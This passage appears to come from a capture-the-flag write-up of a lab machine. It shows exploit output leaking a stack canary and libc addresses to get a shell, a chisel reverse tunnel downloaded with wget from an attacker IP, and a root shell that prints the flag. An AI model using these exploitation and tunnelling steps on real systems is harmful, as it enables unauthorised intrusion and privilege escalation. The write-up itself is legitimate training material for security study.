[+] Saved $rip: 6265406add550000
[+] ELF base address: 0x55dd6a405000
[*] Loaded 15 cached gadgets for 'contact'
[+] Leaked send() address: 0x7f86cf406c30
[+] Glibc base address : 0x7f86cf2e4000
[*] Loaded 198 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ whoami
rocky
$ ls
contact
contact_patched
fmtstr_exploit.py
httpserver
ld-linux-x86-64.so.2
libc-2.27.so
libc.so.6
root_exploit.py
Now it’s time to run the exploit remotely.
Port forwarding
Since the binary is running locally in 127.0.0.1:1337
, we will need to use port forwarding. This can be done using chisel
:
r4j@rope:/tmp$ wget -q 10.10.17.44/chisel
r4j@rope:/tmp$ chmod +x chisel
r4j@rope:/tmp$ ./chisel client 10.10.17.44:1234 R:31337:127.0.0.1:1337
client: Connecting to ws://10.10.17.44:1234
client: Connected (Latency 32.402246ms)
$ ./chisel server -p 1234 --reverse
server: Reverse tunnelling enabled
server: Fingerprint FLlc9PM/TqWSYH1qDJuLl55hSejclXF+Nik/RhshHrc=
server: Listening on http://0.0.0.0:1234
server: session#1: tun: proxy#R:31337=>1337: Listening
After some minutes of brute force, we will finally get a shell as root
:
$ python3 root_exploit.py 127.0.0.1:31337
[*] './contact'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Canary : 00fbee3a3e3cc553
[+] Saved $rbp: 503afae5fc7f0000
[+] Saved $rip: 62750eaf8e550000
[+] ELF base address: 0x558eaf0e6000
[*] Loaded 15 cached gadgets for 'contact'
[+] Leaked send() address: 0x7f0645e13c30
[+] Glibc base address : 0x7f0645cf1000
[*] Loaded 198 cached gadgets for 'libc.so.6'
[*] Switching to interactive mode
$ whoami
root
$ cat /root/root.txt
9d184e53053f4678beb271e733de867e
The full exploit script can be found in here: root_exploit.py
.